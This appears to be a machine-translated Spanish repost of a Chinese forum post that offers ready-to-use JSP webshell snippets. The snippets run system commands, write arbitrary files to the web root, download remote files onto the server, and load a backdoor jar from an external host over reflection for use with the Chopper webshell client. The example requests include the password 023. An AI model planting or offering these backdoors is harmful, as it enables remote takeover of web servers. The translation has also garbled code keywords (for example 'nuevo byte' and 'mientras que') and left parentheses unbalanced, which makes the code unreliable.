|
|
Publicado en 2/1/2015 18:46:57
|
|
|
|

Transferido desde: http://p2j.cn/?p=1627 1. Ejecutar comandos del sistema: Ejecutar comandos del sistema sin eco: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Petición: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls No habrá eco tras la ejecución, lo cual es muy cómodo para los cascales rebotadores. Hay ecos con la verificación de contraseñas: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = nuevo byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%> Petición: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Codifica la cadena y escríbela en el archivo especificado: 1: <%new java.io.FileOutputStream(request.getParameter("f").write(request.getParameter("c").getBytes());%> Petición: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Escribe en el directorio web: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%> Petición: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Petición: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Escribe en el directorio web: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Petición: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Descargar el archivo remoto (si no usas Apache io utils, no puedes convertir el flujo de entrada a byte, así que es muy largo...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u").openStream(); byte[] b = nuevo byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; mientras que ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Petición: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Descargar en la web: <% java.io.InputStream in = new java.net.URL(request.getParameter("u").openStream(); byte[] b = nuevo byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; mientras que ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Petición: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Cuatro: Reflection llama al tarro exterior, perfecciona la puerta trasera Si no te gusta que la función de backdoor mencionada anterior sea demasiado débil y está desactualizada, puedes probar esto: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter(u"))}).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Petición: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Conexión con cuchillo de cocina: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, contraseña 023.
Solución: Utiliza la reflexión para cargar un jar externo en la aplicación actual, y la reflexión ejecuta el resultado de procesamiento de salida. request.getParameterMap() contiene todos los parámetros solicitados. Dado que el paquete jar externo está cargado, el servidor debe poder acceder a esta dirección jar. |
Anterior:La crisis detrás del archivo de texto TXTPróximo:Cifrado Java MD5, cifrado y descifrado Base64 Java ejecuta código fuente de comandos del sistema
|